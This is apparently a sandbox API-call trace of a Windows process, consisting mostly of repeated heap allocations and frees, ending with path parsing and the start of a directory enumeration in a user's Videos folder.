HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.104] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.104] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.104] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.104] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.104] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.104] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.104] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.104] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.104] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.104] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.104] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.104] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0069.105] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.105] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.105] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.105] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.105] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.105] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.105] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.105] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.105] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.105] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.105] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.105] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.105] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.105] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.105] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.105] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.106] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.106] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.106] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.106] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.106] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.106] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.106] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.106] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.106] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.106] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.106] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.106] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.106] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.106] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.106] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.106] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.107] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.107] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.107] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.107] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.107] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.107] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.107] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.107] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.107] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.107] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.107] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.107] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.107] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.107] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.107] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.107] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.108] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.108] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.108] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.108] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.108] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.108] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.108] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.108] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.108] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.108] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.108] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.108] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.108] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.108] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.108] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.108] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.109] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.109] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.109] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.109] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.109] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.109] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.109] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.109] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.109] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.109] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.109] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.109] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.109] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.109] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.109] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.109] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.109] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.109] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.109] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.109] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.109] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.109] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.109] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.109] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.109] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.109] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.109] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.109] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.109] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.109] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.109] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.109] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.109] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.110] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.110] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.110] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.110] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.110] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.110] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.110] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.110] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.110] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.110] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.110] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.110] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.110] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.110] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.110] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.110] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.110] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.110] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.110] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.110] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.110] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.110] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.110] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.110] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.110] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.110] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.110] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\Ep5U\\") returned="Ep5U\\" [0069.110] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31757d8 [0069.110] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.110] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\") returned="Pmee\\" [0069.110] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175a30 [0069.111] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31757d8 | out: hHeap=0x5d0000) returned 1 [0069.111] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\") returned="3ymkgwpUkCk\\" [0069.111] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0069.111] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0069.111] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175a30 | out: hHeap=0x5d0000) returned 1 [0069.111] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0069.111] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0069.111] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0069.111] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.111] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0069.111] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0069.111] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0069.111] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0069.111] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.111] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0069.111] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.111] PathFindFileNameW (pszPath="") returned="" [0069.111] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.111] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\Ep5U\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2142e00, ftCreationTime.dwHighDateTime=0x1d4cf02, ftLastAccessTime.dwLowDateTime=0x86c0a50, ftLastAccessTime.dwHighDateTime=0x1d4d3fa, ftLastWriteTime.dwLowDateTime=0x86c0a50, ftLastWriteTime.dwHighDateTime=0x1d4d3fa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 